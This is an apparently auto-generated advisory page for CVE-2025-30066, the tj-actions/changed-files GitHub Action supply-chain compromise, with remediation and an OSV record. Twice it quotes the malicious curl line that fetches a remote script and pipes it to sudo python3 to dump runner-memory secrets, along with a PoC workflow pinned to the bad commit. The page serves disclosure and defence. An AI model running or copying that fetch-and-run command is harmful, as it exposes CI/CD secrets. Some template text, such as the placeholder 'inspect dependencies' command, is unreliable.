CVE-2025-30066: Tj actions/changed files Tj-actions Changed-files Through 45.0.7 Allows Vulnerability

HIGH
Advisory Identifier: GHSA-mrrh-fwg8-r2c3
Share
CVSS 8.6
CWE-506
Published
Advisory Summary

CVE-2025-30066 is a HIGH (CVSS 8.6) tj-actions changed-files through 45.0.7 allows vulnerability (CWE-506: Embedded Malicious Code) affecting Tj actions/changed files libraries in the GitHub Actions ecosystem. The issue involves tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.. Remediation is available by upgrading affected packages to version 46.0.1.

CVE-2025-30066 at a Glance

CVE Identifier CVE-2025-30066
GHSA Identifier GHSA-mrrh-fwg8-r2c3
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-506: Embedded Malicious Code
Affected Product Tj actions/changed files
Package Ecosystem GitHub Actions
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-30066

To remediate this vulnerability, upgrade all affected Tj actions/changed files dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tj-actions/changed-files fixed: 46.0.1 
Upgrade tj-actions/changed-files to 46.0.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for tj-actions/changed-files

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-30066, inspect your project dependencies for Tj actions/changed files:

inspect dependencies for tj-actions/changed-files

Analyze the terminal output to locate any version of Tj actions/changed files in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 46.0.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-506: Embedded Malicious Code, where the product contains code that appears to be malicious in nature. In Tj actions/changed files, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information. This has been patched in [v46.0.1](https://github.com/tj-actions/changed-files/releases/tag/v46.0.1). ### Details The attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs. #### Key Indicators of Compromise (IoC): - **Malicious commit**: [0e58ed8671d6b60d0890c21b07f8835ace038e67](https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67) - **Retroactively updated tags pointing to the malicious commit**: - `v1.0.0`: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - `v35.7.7-sec`: 0e58ed8671d6b60d0890c21b07f8835ace038e67 - `v44.5.1`: 0e58ed8671d6b60d0890c21b07f8835ace038e67 #### Malicious Code Execution: The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs: ``` B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3` ``` This script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents. ### Proof of Concept (PoC) #### Steps to Reproduce: 1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action: ```yml name: "tj-action changed-files incident" on: pull_request: branches: - main jobs: changed_files: runs-on: ubuntu-latest steps: - name: Get changed files id: changed-files uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67 ``` 2. Run the workflow and inspect the logs in the Actions tab. 3. Vulnerable workflows may display secrets in the logs. #### Detection: Analyze network traffic using [Harden-Runner](https://github.com/step-security/harden-runner), which detects unauthorized outbound requests to: - `gist.githubusercontent.com` Live reproduction logs: šŸ”— [Harden-Runner Insights](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357) This attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`. ### Duration of Vulnerability The vulnerability was active between **March 14 and March 15, 2025**. ### Action Required 1. **Review your workflows executed between March 14 and March 15**: - Check the **changed-files** section for unexpected output. - Decode suspicious output using the following command: ``` echo 'xxx' | base64 -d | base64 -d ``` - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately. 2. **Update workflows referencing the compromised commit**: - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version. 3. **Tagged versions**: - If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use. 4. **Rotate potentially exposed secrets**: - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows. ### Impact - **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage - **Who is impacted**: - Over 23,000 repositories using **tj-actions/changed-files**. - Organizations with public repositories are at the highest risk, as their logs may already be compromised. - **Potential consequences**: - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys). - Unauthorized access to source code, infrastructure, and production environments. - Credential leaks in public repositories, enabling further supply chain attacks.

CVE-2025-30066 Affected Tj actions/changed files Versions

1 component(s)
Fixed Versions:
46.0.1
Product / Package Ecosystem Affected Versions Fixed Version
tj-actions/changed-files
 GitHub Actions
< 46.0.1
46.0.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5
NVD ā€” CVE-2025-30066 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-30066
Tj actions/changed files Source Repository REPOSITORY
https://github.com/espressif/arduino-esp32/issues/11127
Tj actions/changed files Source Repository REPOSITORY
https://github.com/modal-labs/modal-examples/issues/1100
Tj actions/changed files Source Repository REPOSITORY
https://github.com/tj-actions/changed-files/issues/2463
Tj actions/changed files Source Repository REPOSITORY
https://github.com/tj-actions/changed-files/issues/2464
Tj actions/changed files Source Repository REPOSITORY
https://github.com/tj-actions/changed-files/issues/2477
Tj actions/changed files Source Repository REPOSITORY
https://github.com/chains-project/maven-lockfile/pull/1111
Tj actions/changed files Source Repository REPOSITORY
https://github.com/rackerlabs/genestack/pull/903
sysdig.com/blog/detecting-and-... WEB
https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
web.archive.org/web/20250315060250/... WEB
https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463
www.cisa.gov/known-exploited-vul... WEB
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066
www.cisa.gov/news-events/alerts/... WEB
https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
Tj actions/changed files Security Information SECURITY
https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
Tj actions/changed files Security Information SECURITY
https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond
Tj actions/changed files Security Information SECURITY
https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack
www.wiz.io/blog/github-action-... WEB
https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
semgrep.dev/blog/2025/popular-g... WEB
https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised
news.ycombinator.com/item WEB
https://news.ycombinator.com/item?id=43368870
news.ycombinator.com/item WEB
https://news.ycombinator.com/item?id=43367987
Tj actions/changed files Release RELEASE
https://github.com/tj-actions/changed-files/releases/tag/v46.0.1
Tj actions/changed files Source Repository REPOSITORY
https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28
Tj actions/changed files Source Repository REPOSITORY
https://github.com/tj-actions/changed-files
Tj actions/changed files Source Repository REPOSITORY
https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193
blog.gitguardian.com/compromised-tj-acti... WEB
https://blog.gitguardian.com/compromised-tj-actions

Frequently Asked Questions

What is CVE-2025-30066?
CVE-2025-30066 is a security vulnerability in Tj actions/changed files involving tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs. under CWE-506: Embedded Malicious Code.
Which Tj actions/changed files versions are affected?
Affected versions include releases prior to 46.0.1 across affected packages: tj-actions/changed-files.
What version fixes CVE-2025-30066?
Upgrading to 46.0.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tj-actions/changed-files affected?
Yes, tj-actions/changed-files is affected in releases prior to 46.0.1. Upgrade your dependency to 46.0.1 or later.
What is the CVSS score of CVE-2025-30066?
CVE-2025-30066 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H.
What CWE is associated with CVE-2025-30066?
CVE-2025-30066 is classified under CWE-506: Embedded Malicious Code (The product contains code that appears to be malicious in nature.).
How can I check GitHub Actions dependencies for CVE-2025-30066?
Run the dependency tree command: 'inspect dependencies for tj-actions/changed-files'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mrrh-fwg8-r2c3",
  "modified" : "2025-10-22T19:29:00Z",
  "published" : "2025-03-15T06:30:34Z",
  "aliases" : [ "CVE-2025-30066" ],
  "summary" : "tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.",
  "details" : "### Summary  \nA supply chain attack compromised the **tj-actions/changed-files** GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between **March 14 and March 15, 2025**, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.\n\nThis has been patched in [v46.0.1](https://github.com/tj-actions/changed-files/releases/tag/v46.0.1).\n\n### Details  \nThe attack involved modifying the **tj-actions/changed-files** GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.  \n\n#### Key Indicators of Compromise (IoC):  \n- **Malicious commit**: [0e58ed8671d6b60d0890c21b07f8835ace038e67](https://github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07f8835ace038e67)  \n- **Retroactively updated tags pointing to the malicious commit**:  \n  - `v1.0.0`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  \n  - `v35.7.7-sec`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  \n  - `v44.5.1`: 0e58ed8671d6b60d0890c21b07f8835ace038e67  \n\n#### Malicious Code Execution:  \nThe malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:  \n```\nB64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`\n```\n\nThis script targeted the **Runner Worker process**, extracting and exfiltrating its memory contents.  \n\n### Proof of Concept (PoC)  \n#### Steps to Reproduce:  \n1. Create a GitHub Actions workflow using the **tj-actions/changed-files** action:  \n\n```yml\nname: \"tj-action changed-files incident\"\non:\n  pull_request:\n    branches:\n      - main\njobs:\n  changed_files:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Get changed files\n        id: changed-files\n        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67\n```\n2. Run the workflow and inspect the logs in the Actions tab.  \n3. Vulnerable workflows may display secrets in the logs.  \n\n#### Detection:  \nAnalyze network traffic using [Harden-Runner](https://github.com/step-security/harden-runner), which detects unauthorized outbound requests to:  \n- `gist.githubusercontent.com`  \n\nLive reproduction logs:  \nšŸ”— [Harden-Runner Insights](https://app.stepsecurity.io/github/step-security/github-actions-goat/actions/runs/13866127357)  \n\nThis attack was detected by **StepSecurity** when anomaly detection flagged an unauthorized outbound network call to `gist.githubusercontent.com`.  \n\n### Duration of Vulnerability  \nThe vulnerability was active between **March 14 and March 15, 2025**.  \n\n### Action Required  \n1. **Review your workflows executed between March 14 and March 15**:  \n   - Check the **changed-files** section for unexpected output.  \n   - Decode suspicious output using the following command:  \n     ```\n     echo 'xxx' | base64 -d | base64 -d\n     ```\n   - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.  \n\n2. **Update workflows referencing the compromised commit**:  \n   - If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.  \n\n3. **Tagged versions**:  \n   - If you are using tagged versions (e.g., `v35`, `v44.5.1`), no action is required as these tags have been updated and are now safe to use.  \n\n4. **Rotate potentially exposed secrets**:  \n   - As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.  \n\n### Impact  \n- **Type of vulnerability**: Supply chain attack, Secrets exposure, Information leakage  \n- **Who is impacted**:  \n  - Over 23,000 repositories using **tj-actions/changed-files**.  \n  - Organizations with public repositories are at the highest risk, as their logs may already be compromised.  \n- **Potential consequences**:  \n  - Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).  \n  - Unauthorized access to source code, infrastructure, and production environments.  \n  - Credential leaks in public repositories, enabling further supply chain attacks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "GitHub Actions",
      "name" : "tj-actions/changed-files"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "46.0.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 45.0.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-30066"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/espressif/arduino-esp32/issues/11127"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modal-labs/modal-examples/issues/1100"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tj-actions/changed-files/issues/2463"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tj-actions/changed-files/issues/2464"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tj-actions/changed-files/issues/2477"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chains-project/maven-lockfile/pull/1111"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rackerlabs/genestack/pull/903"
  }, {
    "type" : "WEB",
    "url" : "https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066"
  }, {
    "type" : "WEB",
    "url" : "https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066"
  }, {
    "type" : "WEB",
    "url" : "https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised"
  }, {
    "type" : "WEB",
    "url" : "https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond"
  }, {
    "type" : "WEB",
    "url" : "https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack"
  }, {
    "type" : "WEB",
    "url" : "https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066"
  }, {
    "type" : "WEB",
    "url" : "https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised"
  }, {
    "type" : "WEB",
    "url" : "https://news.ycombinator.com/item?id=43368870"
  }, {
    "type" : "WEB",
    "url" : "https://news.ycombinator.com/item?id=43367987"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tj-actions/changed-files/releases/tag/v46.0.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tj-actions/changed-files"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193"
  }, {
    "type" : "WEB",
    "url" : "https://blog.gitguardian.com/compromised-tj-actions"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-506" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-15T16:39:06Z",
    "nvd_published_at" : "2025-03-15T06:15:12Z"
  }
}